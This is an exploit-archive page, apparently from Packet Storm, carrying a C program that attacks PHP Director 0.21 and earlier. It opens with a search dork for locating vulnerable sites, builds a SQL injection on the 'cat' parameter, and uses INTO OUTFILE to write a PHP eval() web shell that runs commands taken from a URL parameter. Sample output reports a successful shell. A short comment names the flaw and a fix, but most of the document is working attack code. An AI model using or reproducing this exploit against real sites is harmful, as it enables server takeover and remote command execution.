exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Director 0.21 eval() Injection Exploit

PHP Director 0.21 eval() Injection Exploit
Posted Mar 9, 2009
Authored by StAkeR

PHP Director versions 0.21 and below SQL injection into outfile eval() injection exploit.

tags | exploit, php, sql injection
SHA-256 | ae4f89565a65a1a19d6c574a5a2cb61604d37f54ae7d294f7e2427c81609e7f9

PHP Director 0.21 eval() Injection Exploit

Change Mirror Download
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/* Dork "Powered by PHP Director 0.2"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| PHP Director 0.2.1 (sql into outfile) eval() Injection Exploit |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

{Exploit}-> index.php?cat=%27+UNION+SELECT+1,'lol',3,4,5,6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+'/var/www/ex.php'/*
{PHP.ini}-> Magic Quotes off
{Written}-> by Juri Gianni aka yeat - staker[at]hotmail[dot]it
{WhereIs}-> http://sourceforge.net/projects/phpdirector/
{Compile}-> gcc -o exploit exploit.c


{Details}-> index.php (line 56-58)

56. }elseif (isset($_GET["cat"])) {
57. $cat = $_GET["cat"];
58. $_query = sprintf("SELECT SQL_CALC_FOUND_ROWS * FROM pp_files WHERE `category` = '$cat etc..)

{Bug}-> $cat variable is not checked so we have a sql injection
{Fix}-> $cat = mysql_real_escape_string($_GET['cat']);



yeat@lulz:~/Desktop$ gcc -o exploit exploit.c
yeat@lulz:~/Desktop$ ./exploit localhost /cms /var/www/shell.php
Exploit successful..shell: /var/www/shell.php

*/



#define GET "GET %s/index.php?cat=%s HTTP/1.1\r\n" \
"Host: %s\r\n" \
"User-Agent: Links (2.1pre26; Linux 2.6.19-gentoo-r5 x86_64; x)\r\n" \
"Connection: close\r\n\r\n"

#define Exec "'+UNION+SELECT+1,2,3,4,'<?eval(stripslashes($_GET[cmd]));?>'"\
",6,7,8,9,10,11,12,13,14,15+INTO+OUTFILE+'%s'"


char *getHost (char *host)
{
struct hostent *hp;
struct in_addr **y;

hp = gethostbyname(host);
y = (struct in_addr **)hp->h_addr_list;

return inet_ntoa(**y);
}


int main (int argc,char **argv)
{
int server,leak;
char data[1024],html[1024];
char packet[500],loadsf[500];

struct sockaddr_in addr;

if (argc < 3) {
printf("Usage: %s host path file\n",argv[0]);
printf("RunEx: %s localhost /cms /var/www/shell.php\n",argv[0]);
exit(0);
}

server = socket(AF_INET,SOCK_STREAM,0);

addr.sin_family = AF_INET;
addr.sin_port = htons((int)80);
addr.sin_addr.s_addr = inet_addr(getHost(argv[1]));

leak = connect(server,(struct sockaddr*)&addr,sizeof(addr));

if (leak < 0) {
printf("connection refused..try again\n");
exit(0);
}

snprintf(loadsf,sizeof(loadsf),Exec,argv[3]);
strncat(loadsf,"%23",sizeof(loadsf));
snprintf(packet,sizeof(packet),GET,argv[2],loadsf,argv[1]);

if (send(server,packet,sizeof(packet),0) < 0) {
printf("data sent error..\n");
}

while(recv(server,html,sizeof(html),0) > 0)
{
if (strstr(html,"MySQL") || strstr(html,"mysql_fetch_array")) {
printf("Exploit unsuccessful..\n"); break;
}
else {
printf("Exploit successful..shell: %s\n",argv[3]); break;
}
}

return 0;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close